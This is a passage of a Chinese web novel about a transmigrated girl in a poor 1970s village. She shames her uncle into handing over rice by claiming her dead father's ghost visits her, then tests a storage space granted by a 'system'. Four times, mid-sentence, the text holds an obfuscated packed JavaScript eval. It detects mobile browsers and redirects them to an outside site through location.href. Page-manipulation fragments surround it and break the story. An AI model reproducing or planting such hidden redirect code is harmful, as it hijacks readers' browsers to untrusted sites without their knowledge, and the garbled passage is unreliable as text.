这样的成长环境,原主的沉默寡言就有了解释,可以说没有一个人是爱她的。爸早死妈改嫁,爷爷奶奶虽然养着她,对她也说不上多好,至少没有对大伯和三叔家的孩子好,他们的手里也有钱,但是钱都是给大伯和三叔家的孩子花的。大伯和三叔当作没她这个人,堂兄弟和堂姐妹们来找她也就是为了炫耀新衣服或者是好吃的点心。 原主是个善良的人,她没有怨恨别人,觉得爷爷奶奶至少还养着她,没有任由她自生自灭,大伯和三叔对她没有养育的义务,至于改嫁的妈妈,她没见过,连个印象都没有,更谈不上什么恨不恨的了。 她只是沉默着应对别人所谓的玩笑话,只要她不回应,别人就把办法用语言伤害她。 原主可以做到不记恨任何人,江余却做不到,她对江有田和江有粮这两个人可是有很大的意见的,拿了原主父亲的钱就算了,还眼睁睁看着侄女饿死,真是狼心狗肺! 要是他们依旧对江余不闻不问,江余也不会怎么样,毕竟原主都不恨他们,她就更没资格去恨他们了。可是他们偏偏来管她的事,这可就不行了。 “江余,你一个女孩子,过几年就要嫁人了,怎么能跟一个离了婚的女人来往,这传出去,别人怎么看你,怎么看江家?我跟你说,以后你不准再去找田彩燕那个不三不四的女人!”江有田说到田彩燕的名字的时候,那脸上的表情十分嫌弃,似乎是碰到了什么脏东西一样。 江余在心里翻了个白眼,你自己都不做人,还想着说别人,要说远离,我第一个要远离的就是你这种人。 江余疑惑道:“那是我自己的事,我想怎么做就怎么做,为什么要听别人怎么说?” 江有田没想到江余会这么回答,他很少见这个侄女,只是听张秀英说江余性情古怪,没想到她居然敢反驳他! 江有田在家一向说一不二,没人敢反驳他,现在江余没按照他说的去做,他顿时气不打一处来,瞪大了眼睛,呵斥道:“你是怎么跟长辈说话的!你看看你这个样子,一点教养都没有,以后谁家会娶你?” 江余垂下眼睛:“我爸爸不在了,妈妈也改嫁了,确实没有人教养我。” 说到江有林,江有田觉得有些心虚,他的气势弱了一些,“就是你爸爸不在了,我才要替他管教你,你要听大伯的话。” 江余看江有田心虚,心里有了想法,“大伯,上个月我差点饿死的时候,我见到我爸了,我本来是要去和他团聚的,结果他把我推回来了,让我好好活着,他说他会拜托大伯和三叔好好照顾我的。大伯,我爸有没有去找过你啊?” 虽然那是自己的兄弟,但是江有田听到江余说江有林要来找他,还是觉得背后一阵发凉,他又呵斥江余,“你胡说什么!现在是新中国新社会了,什么鬼啊神啊的都是封建迷信,你少说这些东西!” 江余一脸无辜,“可是我没有胡说啊,我真的见到我爸了,他长得高高的,瘦瘦的,额头上有一块疤,左边耳朵上还有一颗痣,他说我的眼睛和鼻子和他长得很像。” 江余当然没见过江有林,对于江有林的印象都是从大队里的人口中拼凑出来的。 江有田更慌了,这描述都对上了,江有林确实长得高高瘦瘦的,他左边耳朵上有一颗痣,不细看还看不出来,额头上的疤还是小时候被他推倒磕在石头上留下的,当时他为了回家不被骂,还说是江有林自己摔倒的。 再细看江余的脸,狭长的桃花眼,高挺的鼻子,和江有林的眼睛和鼻子简直长得一模一样。 江余出生的时候,江有林已经不在了,江余从来没有见过江有林,她怎么能描述出江有林的长相呢,说不定她真的见过江有林的鬼魂,江有田已经信了七八分了。 江有田的语气有些颤抖,“你真的见过你爸了?他说了什么?” 江余回忆了一下,“我爸说,他给我留了很多钱,不会让我没饭吃的,他说钱都放在爷爷奶奶那里了,让我去跟爷爷奶奶要。我就说爷爷奶奶也去世了,我爸说他没见过爷爷奶奶,可能爷爷奶奶已经投胎去了。他又说钱可能被爷爷奶奶留给大伯和三叔了,让我去找大伯和三叔要。我看大伯和三叔家也没粮食吃,不像是有钱的样子,就没去找你们要钱。大伯,我爸真的留了很多钱吗?” 二老死得比江有林要晚十年,他们都去投胎了,江有林怎么还没有去投胎,听说有执念的鬼魂才不肯去投胎,江有林有什么执念? 江有田看向眼前的江余,是了,他还有一个女儿,二弟妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959509|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚怀有江余的时候,江有林可高兴了,说不管是儿子还是女儿他都喜欢,他要更努力工作让媳妇孩子过上好日子,结果孩子还没出生他就去世了,现在女儿还没有长大成人,他不放心,不肯去投胎。 江有田觉得后背更凉了,额头上还冒出了冷汗,他嘴上说着鬼神之说都是封建迷信,实际上他本人是很信这些的,小时候村里来了个算命先生,给江有林算过命,说他将来会有贵人相助,就是命中有一个大劫难,要是能跨过去,就是一生富足的命,要是跨不过去,恐怕会年纪轻轻就断送性命。 那个算命先生就是路过,看见江有林,给他算了一命,连江家二老都不知道这件事,当时他就在旁边玩,碰巧听见了,当时他没把算命先生说的话放在心上,他们家可以说是整个村子里最穷的一家了,几代人都在地里刨食,去哪里遇到什么贵人啊? 直到二弟江有林被送到城里去当学徒,被带他的大师傅另眼相看,算命先生的话被应验了,那个大师傅就是江有林命里的贵人,后来江有林在城里遇到了闹事的,送了性命,那个算命先生说的全都中了! 从那以后,江有田就十分相信这些,初一十五都要在家里拜一拜,求神佛保佑,平时还早晚上香,一天都不落下,后来不准宣传封建迷信,他才被迫停止了上香拜神的日常。 听到江余说得像是真的见过江有林的鬼魂一样,江有田又在心里自己脑补,现在已经信了个九分了,害怕归害怕,要他拿出钱来分给江余,他还是不情愿的。 “你爸确实是留下了一些钱,但是这么多年过去了,那些钱都被花完了。你还记得以前每年我和你三叔都会给你和你爷爷奶奶送粮食吗?钱都用来买粮食了,后来你爷爷奶奶去世的时候,给他们下葬把剩下的钱也给花了,大伯和三叔的手里已经没钱了。” 这些话骗骗三岁的小孩子还行,想要骗江余肯定是不行的,那些粮食是他们给二老的养老粮,本来就该他们出的,而且那点粮食能用掉几千块钱? 江余没有表现出来,只是点点头,“这样啊,那下次我爸再来找我的时候,我就把大伯的话告诉他,跟他说大伯和三叔把他留下的钱给花完了。” 江有田连忙道:“那钱不是我们花的,是给你和爷爷奶奶花的。” 江余:“可是我和爷爷奶奶都没花那些钱啊,我不能骗爸爸。” 江有田不知道该怎么说,只能转移话题,“我听你大伯娘说,你家没有粮食了,等下大伯给你送点粮食过来。” 江余:“大伯娘说你们家也没有粮食了,大伯你要是把你家的粮食送给我了,那你们不是要饿肚子了吗?饿肚子可难受了,还会死人的,我不能看着你们饿死,这粮食我不能要。等下次我见到我爸了,我跟他说一下,他应该会想办法给我弄一点粮食来的。” 刚刚江有田还只是说说而已,听到江余又说起江有林,他不容拒绝道:“就这样说定了,你现在就跟我回家,我给你拿粮食去。” 16. 第 16 章 张秀英做好了晚饭,按家里的人数分好,分给江有田的饭最多,接下来是两个儿子,最后才是她和两个女儿。 江有田还没回来,一家人都坐在饭桌前等着,谁也没动筷子。 江有田家的几个孩子分别是大儿子江卫党、大女儿江梅、小女儿江蓉、小儿子江卫军。 江卫军年纪最小,在家也最受宠,他在外面玩了一天了,肚子饿得咕咕叫,好不容易到了吃饭的时候,却只能看着不能吃,这怎么受得了,他趁张秀英不注意捧起碗,抓着筷子就往嘴里刨饭。 “啪”的一声,张秀英用筷子敲了一下江卫军的手背,“你爸还没回来呢,等你爸回来再吃。” 江卫军很不高兴,“我们都等多久了,爸还没回来,要是他今晚不回来了,难道我们要饿着肚子睡觉?” 张秀英瞪了他一眼,“瞎说什么呢,晚上你爸他不回家能去哪?再等等吧。” 几个人忍着肚子饿,看着门口望眼欲穿,希望江有田快点回来。 江梅第一个看到江有田回来,她高兴叫道:“爸回来了!” 张秀英站起来看向江有田,“这么怎么晚才回来?我已经做好饭了,过来吃饭吧。” 她一句话刚说完,就看到跟在江有田身后的江余,张秀英脸上的笑容凝固了一下,很快就恢复了,她招呼江余,“江余也来了,你吃过晚饭没有?没吃就坐下来一起吃点吧。” 江余知道这只是客气话,她在江有田家并不受欢迎,她也不喜欢和陌生人一起吃饭,便拒绝了。 不等张秀英询问江余的来意,江有田就叫她拿一袋粮食给江余。张秀英做出一副很为难的样子,“家里的粮食也不多了……” 江有田瞪眼,“叫你去拿你就去拿,说这么多做什么?” 张秀英见江有田不高兴了,只能进去拿了小半袋红薯出来,江有田又道:“这红薯能顶饿吗?拿十斤大米给江余。” 听到要给江余大米,张秀英很是不情愿,站着不愿意动,“家里的大米没多少了,留着给孩子们吃吧。” 江余看了一眼,江有田家晚上吃的是红薯饭,放的大米和红薯一样多,不像别人家的红薯饭,里面几乎全是红薯,看不见米饭。晚上不用干活,还能吃的那么好,说明他们家还是有粮食的。 江有田今天接二连三被人反驳,很不高兴,见张秀英站着没动,他抬高了声音,“怎么?我说的话不管用了是吧,一个两个都敢不听我的!” 张秀英见江有田生气了,不敢再多说什么,把红薯拿回去,换了小半袋大米出来,丢在江余面前,看也不看她一眼,转身就朝着饭桌去了。 张秀英从旁边拿了一个空盆放在饭桌上,又拿起几个孩子面前的碗,把里面的红薯饭分了一半出来,几个孩子不愿意了,“妈,你这是干嘛?” 张秀英的语气很不好,“我在干嘛你们看不见吗!家里本来就没多少粮食了,现在还分了一些出去,家里的粮食还不知道能不能撑到分粮的时候,你们都少吃点,反正晚上也不用干活,吃一半就行了,剩下的都留着明天早上吃。” 坐在饭桌上的几个人纷纷怒视江余,这个害他们少吃半碗饭的人。江卫军一下子就闹起来了,“爸!咱们家的粮食都不够吃,你干嘛还要分给别人,你要饿死我们吗!” 江蓉不敢像江卫军一样质问江有田,只能看着江余小声鄙夷,“跟个叫花子一样,上门来要饭吃!” 张秀英这一招挺厉害的,自己不直接说,让几个孩子来闹,换个脸皮薄的人,哪里还好意思再要这袋粮食。 江余:“大伯,我不是叫花子,这粮食我不要了。我知道当父母的肯定不愿意让自己的孩子饿肚子的,大伯娘不愿意给我粮食,我也能理解,要是我爸还在,他肯定也不会让我饿到的。” 江有田一向疼他的两个儿子,尤其是小儿子,听到江卫军闹起来,他就想反悔,他儿子还只能吃红薯饭呢,这大米留着给他儿子多好,给了江余实在是太可惜了。 他没说话,任由江卫军闹,就是想让江余自己知难而退。 听到江余又提起江有林,他觉得头疼,算了算了,不就十斤大米吗,还是给了吧,他看见江余就想到江有林,觉得心虚,还是快点把江余给打发走吧。 他舍不得说江卫军,就呵斥江蓉,“江蓉,你怎么说话的?那是你堂妹,什么叫花子,你从哪里听来的话,好好的一个女孩子,整天出去野,都学坏了,明天起你就在家里帮你大姐干活,不许再出去玩。” 江蓉敢怒不敢言,只能用怨恨的眼神瞪江余。 说完江蓉,他提起那小半袋大米塞给江余,“江余,你堂姐她被她妈给宠坏了,说话都不过脑子的,你别听她瞎说。这粮食你带回去吧,你爸不在了,我这做大伯的得替你爸照顾你。” 江余还是不肯接过那袋大米,她看着张秀英,眼神怯怯的,江有田又对张秀英道:“秀英,你看你把孩子都给吓到了,我知道你心疼孩子,可江余也是我们的侄女,咱们总不能看着她断粮不管吧。” 江有田盯着张秀英,让她表态,张秀英只能勉强撑起笑脸,“是啊,江余,这大米你拿回去吧。” 江余这才肯接过粮食袋子,“多谢大伯和大伯娘给我粮食。”她说完顶着众人的目光拎着粮食袋子走了,她心里一点负担都没有,他们家花了江有林那么多钱,她吃他们家一点大米不过分吧。 江余走后,江有田走到饭桌前捧起饭碗,“行了,吃饭吧。” 江卫军抱怨,“就这么点饭,吃完还没睡觉就饿了。” 江有田心疼儿子,他看向张秀英,“江余都走了,你这戏要演给谁看?这么热的天,这饭放一晚上都要馊了,还不快分给他们吃了。” 张秀英绷着一张脸,把饭又分给几个孩子,“吃吧!一天天就知道吃!” 江有田皱眉,却没说什么,只是加快了吃饭的速度。 到了晚上,张秀英问江有田,“你今天是怎么了?怎么想着要给江余粮食。” “你当我愿意给?还不是因为……”江有田跟张秀英说了江有林的鬼魂的事,“我怕老二来找我,到时候就不止是给一点粮食的事了,还得给钱。” 张秀英一脸的不信,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959510|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么鬼魂,那是封建迷信,你别被江余那丫头给骗了。” “你不懂!”江有田不耐烦跟张秀英解释那么多。 张秀英缓了缓语气,“就算你说的是真的,那江余也不应该来找我们要钱啊,我们又没拿二弟的工资,她应该找她妈去。” 他们确实没拿江有林的工资,他们拿的是江有林藏在房梁上的金条。 当年江余才满月,江余她妈坐完月子就带着江有林所有这么多年攒的工资半夜跑了,还是第二天有人经过,听到江余饿得嗷嗷大哭,江家人这才知道江余她妈跑了。 江余她妈是逃难来到他们村子的,家里就剩她一个了,她这一跑,江家人根本没地方去找。 江家人气到不行,江余她妈跑了不要紧,重要的是她带着江有林所有留下的钱跑了。 江有林死后,他们就想着要怎么从江余她妈那里把钱弄过来,可惜江余她妈不是个傻的,不管他们怎么说怎么做,就是死死捏着钱不松手,也就江家老太太去伺候她生孩子坐月子,能时不时从她手里扣点钱。 钱都被江余她妈拿走了,就剩下一个房子,那时候江有田和江有粮和江家二老还住在老房子里,根本不够住,他们就想着要分了江有林的房子。 江有林家又不是没人了,他还留下一个女儿,他们这些做叔伯的不好直接占了侄女的房子,就让江家二老先住过去照顾江余,后面再让两家的孩子也搬过去,日子久了,江有林的房子他们都有份了。 江家二老搬过去没住江有林原来住的那间房,觉得不吉利,而是打算带着江余住另一间房,他们过去收拾房子的时候,意外发现了房梁上藏着的几根金条。 也不知道江有林哪来的本事攒下这么多金条,他的心眼还挺多的,这金条连自己的媳妇都没说,还不是藏在自己住的房间,怕被媳妇发现,而是藏在另一间房间。这样也好,要是他把金条的事告诉他媳妇了,金条就被他媳妇带走了,还有他们什么事。 江家二老把金条分成三份,他们拿着一份,江家两兄弟一人一份,把金条换成现在的人名币,他们兄弟一人拿到了两千多将近三千块钱。 有了那么多钱,他们也就看不上江有林留下的房子了,各自建起了新房子,过上了让村里人都羡慕的日子。 这钱不经用,建房子就花了他们手里快五分之一的钱,有了钱之后他们使劲花,没两年就花掉了建一间房子的钱,后来有钱也不敢花,没地方花,才花得少了。这么多年下来,他们手里的钱也不剩多少了。 张秀英:“咱们家也没多少钱了,前几年你爸妈去世,他们留下的钱咱们家和三弟家平分,一家分到了六百多块钱,加上咱们家的五百多块钱,还有一千一百多块钱,这钱要留给卫党和卫军娶媳妇用的。” 说起两个儿子,江有田想起梁家为梁水生的工作花了五百块的事,“你说我们拿这钱给卫党和卫军买个工作怎么样?他们进城里当了工人,以后就是城里人了,还能娶个城里媳妇。” 张秀英听了很是心动,“当然好啊,我去托人打听打听,看看城里有没有人要卖工作的。” 17. 第 17 章 江余现在每天能拿到五公分,两天可以抽一次奖,抽到的物品都是米面蔬菜这些,分量不多,和她的消耗差不多是持平的,她感觉自己的饭量越来越大了,这样下去,抽奖获得的粮食都不够她吃的。 加上江有田给的十斤大米,江余家里的物资还有二十一斤大米,五斤玉米面,两斤面粉,两个西红柿,两个茄子,三个土豆,两条咸鱼,这两条咸鱼要留到下个月双抢的时候吃,双抢那段时间可辛苦了,得吃点好的。 家里最多的就是山上摘的桃子了,江余怕桃子放坏了,每天都要吃几个,到现在还有差不多三十斤的桃子。 家里的粮食不多,江余每天下了工都要上山,除了捡枯枝还有就是挖野菜,多挖一点野菜,能减少粮食的消耗。 这野菜偶尔吃一两次还觉得新鲜,吃多了就不觉得好吃了,野菜虽然不好吃,但它能填饱肚子,江余也不嫌弃,看见野菜就挖了放到背篓里。 江余来的地方没有什么人会来,周围只有树梢被风吹动的声音,在这样的环境中,周围有什么动静都能听到,不知道是哪里传来的声音引起了江余的注意,她握紧手里的棍子,放轻动作后退,她不是个好奇心很强的人,对于未知的危险她是能躲就躲。 江余准备原路返回,尽快离开这个地方,那声音越来越大了,就在她的附近,江余不敢动了,她小心地顺着声音的来源看过去,是一丛杂草在晃动,细看杂草里面有东西在挣扎,她好像看见了羽毛。 江余拿着棍子小心靠近,用棍子拨开那丛杂草,是一只野鸡在挣扎,它的脚被杂草缠住了,挣脱不开。 原来不是惊吓,而是惊喜,她意外收获了一只野鸡! 江余没有解开缠住野鸡的杂草,而是用背篓里的麻绳给野鸡来了个五花大绑,防止它跑了。 把野鸡放进背篓里,用野菜盖住,江余还在周围转了一圈,看看还有没有被杂草缠住的野鸡,野鸡都挺聪明的,被杂草缠住的就她背篓里的这一个。 江余把她捆好的枯枝放在背篓上方,背起背篓就下山了。天色还早,路上还有人,见江余从山上下来,他们还多看了一眼,大队里的人知道最近江余每天都要上山捡枯枝,他们看到江余背着一捆枯枝下山也没多问。 江余小时候在农村长大,家里养有鸡鸭,平时吃鸡吃鸭都是现杀的,处理野鸡和家养的鸡差不多,对她来说不是什么难事。 江余回到家先烧了一锅热水,这是给野鸡拔毛用的,要用热水烫一下才好拔毛。等江余把野鸡处理好,天早就黑了,还好手电筒的光足够亮,没耽误她干活。 野鸡身上凡是能吃的部位,江余都留着,鸡血也拿碗装好了,一点也没浪费。 这个天气生肉不好保存,用盐腌着也不行,把肉炒熟了还能多放两天。江余是想把这个野鸡留着双抢的时候吃的,可惜没办法保存。要是她能有一个冰箱就好了,不过就算她有了冰箱,也没有电,江河大队还没通电呢。 从种着野姜的木桶里挖了一块姜,洗干净切成片,和切好的鸡肉一起拿到厨房。把锅烧热后,先把鸡油放进去炒,这只野鸡挺肥的,它身上的脂肪也很多,切出来的肥油装了一碗。 鸡油块慢慢变成油渣,黄澄澄的鸡油被炼出来,一股油脂的香味充满整个厨房,把姜片放进锅里爆香,等到姜片微微焦黄,就可以把鸡肉和内脏一起放进去爆炒了。先把鸡肉的腥味炒出来,几分钟过后,鸡肉的腥味没了,取而代之的是肉香味。 往锅里加一点水,再把碗里凝固好的鸡血放在鸡肉上方,盖上盖子焖煮。煮了一会儿,把鸡血煮到不会散开的状态,放入细盐调味,翻炒均匀后继续盖上锅盖焖煮。 江余现在没打算往鸡肉里放配菜,放了配菜的鸡肉更容易坏,等到要吃的时候再放。等到锅里的水都烧干了,鸡肉底下的油变得清透,再翻炒几下,把水分炒干就可以出锅了。 大晚上的,大家都躺床上睡下了,江余觉得不会有人特意跑出来看是哪一家在做肉,就没有把厨房的门和窗给关上。 鸡肉的香味从江余家飘出去,顺着风飘到了陈家,也就是何大娘家,何大娘还没睡着,鸡肉的香味从开着的窗户飘进来,何大娘闻到肉香味犯了馋,骂道:“谁家这么馋啊!大晚上的不睡觉还要做肉吃!” 躺在她旁边的陈老头已经睡着了,又被何大娘的骂声吵醒了,他骂道:“大晚上的不睡觉,你骂骂咧咧什么呢!” 何大娘:“你闻到没有,有肉香味,不知道是谁家大晚上的不睡觉,在偷偷做肉吃。” “哪来的肉香味,你馋肉了就直说……”陈老头闻了闻,还真的有肉香味,“这大晚上的,谁家在做肉?” 两人都凑到窗户前看看是哪家还没睡觉,从窗户看出去,家家户户都黑了灯,夜里安静得很。 这时候风变了方向,闻不到肉香味了,两人本想顺着香味去看看是谁家在做肉,有肉白天不吃,偏要大晚上偷偷摸摸地吃,这肉的来路肯定有问题,他们可以抓着这个把柄,占点便宜,谁知道突然又闻不到肉味了,连做肉的是哪一家都不知道,更别说去抓他家的把柄了。 陈老头和何大娘失望地躺回床上,何大娘问陈老头:“你说是谁家在做肉?”不等陈老头回答,她又道:“这周围几家,江家肯定不可能有肉吃,江余那丫头都差点饿死了,连粮食都没得吃还吃肉呢。其余几家说不准,最有可能的是田家,田彩燕手里可有钱了,要是她家吃肉,那就不奇怪了。” 田彩燕有钱,她家能吃上肉不会有人怀疑肉的来路不明。 何大娘很失望又很嫉妒,“一个离了婚的女人还吃上肉了,咱们家条件这么好都舍不得吃呢。”说着她期待地看着陈老头,“要不我们家明天也吃一顿肉吧,好久没吃肉,小宝都饿瘦了。” 陈老头也想吃肉了,特别是刚刚还闻到了那么香的肉味,馋了,嘴上却说:“家里的肉都要留着双抢的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959511|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的,双抢费力气,不吃点肉怎么能行。” 何大娘:“吃完了再让几个女儿送来不就行了,我们养她们这么大,她们也该孝敬回报我们了。” 陈老头假装犹豫了一会儿,“行吧,你跟几个女儿要东西也要注意分寸,一次别要太狠了,又惹得亲家骂上门来,让我没脸。” “我知道,你放心吧。” 江余不知道陈老头和何大娘的算计,她正在吃晚饭,不对,这个时间应该是宵夜了,就着炒完鸡肉锅里剩下的油炒了一盘野菜,再把鸡血和内脏挑出来吃了,这些得吃新鲜的才好吃,复炒过的口感就不好了。 这只野鸡江余吃了四天,要不是实在是放不了了,她一天吃几块,还能吃好多天呢,这要是放在穿越前,她根本想不到自己会这么节俭。 她爸妈在她小时候就离婚了,她跟着爷爷奶奶长大,爸妈离婚后各自又有了新家庭,但是他们也没有不管她,每个月还是会给她生活费的,她考上大学后,学费也是爸妈出的,给她的生活费还翻倍了,毕业后爸妈还给她买了房子和车子,她连买房和买车的钱都不用攒,工资完全够她过得很舒服了,每个月还能攒下一些,可以说她是没有为钱发愁过的。 穿越后的日子是她这辈子过得最苦的日子了,每天都在为家里的粮食发愁,担心自己会饿死。 之前她觉得自己有了系统就可以在这个时代过得很好,谁知道这个金手指并没有她想的那么厉害,也就是能保证她饿不死而已,想要不被饿死还得靠她勤劳的双手挣工分,想要过上好生活,她还得继续努力。 山上摘的桃子,捡的野鸡让江余更喜欢上山了,要是能再捡到几只野鸡野兔,再发现一棵果树就好了,可惜直到她的自留地的篱笆工程完工,她也没有再碰到这样的好事。 时间很快来到了七月份,到了江余的生日,江余的生日是阴历六月初六,和原主的生日是同一天,阴历六月初六在阳历七月初。 生日这一天抽奖有特殊物品掉落,江余很期待,不知道这一次系统会给她什么好东西。 一大早起来,压水洗漱过后,江余打开抽奖界面,她先在心里许愿,然后郑重地点击抽奖图标。 “恭喜获得生日大礼包一个!” “恭喜获得储物空间一个!” 江余瞪大了眼睛,她没听错吧?系统居然给了她一个储物空间! 惊喜过后,江余连忙去查看储物空间,这是一个长宽高都是五米的空间,里面空空如也,干净得连灰尘都没有。 江余从厨房拿了一棵野菜,想试试该怎么使用这个空间,她心里想着要把野菜放到空间里,野菜就真的从她的手里消失了,江余打开储物空间查看,刚刚还空空如也的空间里多了一棵野菜,她又在心里默念把野菜拿出来,那棵野菜又立刻出现在她手里。 江余很高兴,有了这个空间,以后她在山上再发现果树,就可以一次性把所有的果子运回来了。 18. 第 18 章 江余不知道这个空间有没有保鲜的功能,把食物放进去久了会不会变质。她又把那棵野菜放进储物空间里,看看它几天后会不会变成野菜干。 江余还想试试看把活物放进空间会怎么样,她只能使用空间,本人却没办法进入空间,也许空间里不能有活物生存。 她跑到菜地去,打算捉几只虫子放进空间里试一试,把虫子放进空间里后,江余没有立即把它们拿出来,打算让它们在里面放久一点。 趁着等待的时间,江余去拆系统给她的生日大礼包。 还是那个朴素的麻袋包装,打开麻袋,放在最上面的居然是一个包装好的蛋糕!是了,端午节都有粽子了,过生日当然要吃蛋糕了。小心地把蛋糕提出来放到一边,麻袋里面还有用竹篮装得满满当当的一篮子鸡蛋,两斤五花肉,最底下还有用布袋子装着的十斤大米。 江余很喜欢这个生日大礼包,都是吃的。 把大米和鸡蛋都放到她房间的柜子里,至于两斤五花肉,江余还是用一个水桶接半桶刚从水井里压出来的水,把肉用盆装好放进桶里,再把桶放到阴凉的地方放着,她不知道空间能不能给食物保鲜,怕把肉放进去后放坏了。 做完这些,她把蛋糕拿出来打开,一个六寸大小的奶油蛋糕,她看了一下,没发现蜡烛,系统都给她送蛋糕了,怎么不顺便送她几根蜡烛呢? 这也难不倒江余,她去厨房拿了火柴回来,划燃火柴就当作蜡烛了,她对着火柴许愿,她要在这个时代好好活下去! 这个蛋糕就是今天的早饭了,家里没有勺子,她直接用筷子吃,光吃蛋糕很容易腻,她吃了三分之一就饱了,剩下的重新包装好,留着下工回来吃。 去上工前江余想起空间里的几只虫子,她把那几只虫子从空间里取出来,从空间里取出来的虫子一动不动的,显然已经死了,看来空间里是不能存放活物的。 至于放在空间里的那棵野菜还好好的,这么短的时间也看不出什么来。 把水壶灌满白开水江余就去上工了。上工的路上还碰见了吴桂花,对方看见她就躲得远远的,自从她从江有田家拎走十斤大米后,张秀英和吴桂花见到她都躲得远远的,生怕她去找她们要粮食。 江余觉得这正合她意,最好这两家的人都不要仗着长辈的身份来对她指手画脚的。 到了地里,江余和同组的大娘们打了个招呼,她还要在江河大队生活好多年呢,总不能不和大队里的人来往,就从和同组的大娘们打好关系开始吧,和这些大娘打好关系有一个好处,就是能及时知道大队里发生的事。 “你们听说了没有?隔壁大队有人在家里偷偷养鸡!” “你这消息知道得也太晚了,这个事我早就知道了,隔壁大队的人也都知道。” “既然大家都知道了,怎么养鸡的人家没出事?” “这谁知道呢,估计是没人去举报吧,哎,你们说这自留地都发还给我们了,会不会过段时间就让我们养鸡了?” “江余,大队长是你二叔公,他有没有透露什么消息?” 江余摇头,“就算二叔公知道什么,也不会跟我一个孩子说。” 江余过了生日也就十四岁,可不还是个孩子吗,她长得瘦小,这一个多月吃得好了一些,似乎长高了一点,有了点肉,看上去也就十一岁的样子。 “哎……你们说我们大队有没有人也在偷偷养鸡?” 这谁知道啊,就算养了也肯定藏得很严实,肯定不会让人知道的。 养鸡的话题没了下文,大娘们又说起别的,“我听说丰收大队那边有人设了赌局。” “这不怕被抓吗?” “肯定怕啊,所以他们偷摸着不让人知道。” “那你是怎么知道的?” 那位大娘的脸色有些不自然,“我也是听别人说的。” 什么听别人说的,估计是她家有人去过了,她家老头子不可能,应该是她家的小儿子,她家小儿子是个懒汉,整日偷懒不想上工,游手好闲的。 有大娘道:“这种事可沾不得,我可得看好我家那几个,不许他们往丰收大队去。” “丰收大队真是对得起这个名字,别的大队还吃不饱呢,他们大队的都有钱去赌了。” 江余的午饭是早上没吃完的蛋糕,今天不过节,大队里没有人做肉吃,她要是做肉,那味道肯定瞒不住,所以她没动那两斤五花肉,打算留着晚上大家都睡了她再做。 过了一上午,桶里的水不凉了,她把桶里的水给换了,刚从井里压上来的水凉丝丝的,把肉放里面不容易放坏。下午上工前,江余又给水桶换了一次水,她希望空间是能够保鲜的,这样她以后就不用那么麻烦了。 下午下工后,江余又上山了,她在山上捉了几只麻雀放进空间里,放进空间大概一分钟就拿出来的麻雀还活蹦乱跳的,五分钟后拿出来的麻雀奄奄一息,十分钟后再拿出来的麻雀就一动不动了。 江余猜测储物空间里是封闭的,跟真空状态差不多,里面没有氧气,活物没办法在里面存活。要是这样的话,食物放在里面也不会变质腐烂了。 把早上放进去的野菜拿出来看,放了一天的野菜没有发蔫,还和早上放进去的时候一模一样,江余更确定空间是可以保鲜的了。她又把野菜放回空间里,想看看它是不是一直都能保持新鲜的状态。 江余在山上挖到的野菜还是放在背篓里,这点野菜她背下山轻轻松松,用不到空间,而且她最近上山都能挖到野菜,要是背着个空背篓下山,被人看见了,还要解释一番今天怎么没挖到野菜。 天黑后家家户户都关门睡觉了,江余可以开始烧肉吃了,她切了半斤五花肉,确定了空间可以保鲜,她把剩下的肉放到空间里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959512|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保存,中午没吃完的蛋糕也放到空间里,留着明天当早饭。 家里还有几个土豆,她打算做一个五花肉炒土豆,今天过生日,晚上吃好一点。江余很喜欢吃土豆,和五花肉一起炒的土豆就更喜欢了。 还是得先把煮好的米饭盛出来,才能炒菜,要是她能抽到一个锅就好了,这样她就可以一个锅煮饭,一个锅炒菜了。 她抽到的物品大部分都是吃的,不是吃的只有卖掉的那块花布和她现在正在用的手电筒了,就算抽不到锅,让她再抽到一块好看的布料也好,她可以把布卖掉,买她需要的生活用品。 她至今还没有牙膏牙刷呢,买这些都是需要票的,她刷牙还是折根树枝沾点盐来刷。 